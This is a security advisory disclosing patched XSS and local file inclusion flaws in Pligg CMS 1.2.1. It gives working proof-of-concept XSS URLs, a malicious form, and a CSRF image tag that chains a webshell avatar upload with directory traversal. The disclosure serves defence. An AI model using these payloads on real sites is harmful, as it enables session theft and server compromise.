Multiple vulnerabilities in Pligg CMS

Advisory ID: HTB23089
Product: Pligg CMS
Vendor: Pligg, LLC.
Vulnerable Version(s): 1.2.1 and probably prior
Tested Version: 1.2.1
Vendor Notification: 25 April 2012
Vendor Patch: 18 May 2012
Public Disclosure: 23 May 2012
Vulnerability Type: Local File Inclusion, Cross-Site Scripting (XSS)
CVE References: CVE-2012-2435, CVE-2012-2436
Solution Status: Fixed by Vendor
Risk Level: Medium
Credit: High-Tech Bridge SA Security Research Lab ( https://www.htbridge.com/advisory/ )

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Pligg CMS , which can be exploited to perform Cross-Site Scripting (XSS) and Local File Inclusion attacks.

1) Multiple Cross-Site Scripting (XSS) in Pligg CMS: CVE-2012-2436

1.1 Input passed via the arbitrary (any) GET parameter to /admin/admin_index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:

http://[host]/admin/admin_index.php?action=move&any_get_parameter_name_here=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/admin/admin_index.php?action=minimize&any_get_parameter_name_here=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

1.2 Input passed via the "karma_username" POST parameter to module.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:

<form action="http://[host]/module.php?module=karma" method="post" name="main" id="main">
<input type="hidden" name="karma_value" value="1">
<input type="hidden" name="karma_username" value="<script>alert(document.cookie);</script>">
<input type="submit" name="submit" id="btn" value="submit">
</form>

1.3 Input passed via the "q_1_low". "q_1_high", "q_2_low", "q_2_high" GET parameters to module.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:

http://[host]/module.php?module=captcha&action=configure&captcha=math&q_1_low=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/module.php?module=captcha&action=configure&captcha=math&q_1_high=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/module.php?module=captcha&action=configure&captcha=math&q_2_low=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/module.php?module=captcha&action=configure&captcha=math&q_2_high=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

1.4 Input passed via the "edit" GET parameter to module.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in administrator's browser session in context of affected website.

The following PoC (Proof of Concept) demonstrates the vulnerability:

http://[host]/module.php?module=admin_language&mode=edit&edit=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

2) Local File Inclusion in Pligg CMS: CVE-2012-2435

2.1 Input passed via the "captcha" GET parameter to module.php is not properly verified before being used in include_once() function and can be exploited to include arbitrary or previously uploaded local files. This can be exploited to include local files via directory traversal sequences and URL-encoded NULL bytes, however successful exploitation of this vulnerability requires administrative privileges. Therefore the most appropriate vector of exploitation is CSRF.

The attacker should register in the system, upload a ".jpg" avatar with malicious content (e.g. PHP webshell upload) and make logged-in administrator visiting specially crafted web page that will exploit Local File Inclusion via CSRF. For example this PoC (Proof of Concept):

<img src="http://[host]/module.php?module=captcha&action=configure&captcha=…/…/…/avatars/user_uploaded/[USER_ID]_original.jpg%00">

Successful exploitation of this vulnerability requires that "magic_quotes_gpc" is off.

Solution:

Upgrade to Pligg CMS 1.2.2

More Information: http://forums.pligg.com/downloads.php?do=file&amp;id=15

References:

[1] High-Tech Bridge Advisory HTB23089 - https://www.htbridge.com/advisory/HTB23089 - Multiple vulnerabilities in Pligg CMS.
[2] Pligg CMS - http://pligg.com - Pligg is an open source CMS (Content Management System) that you can download and use for free.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.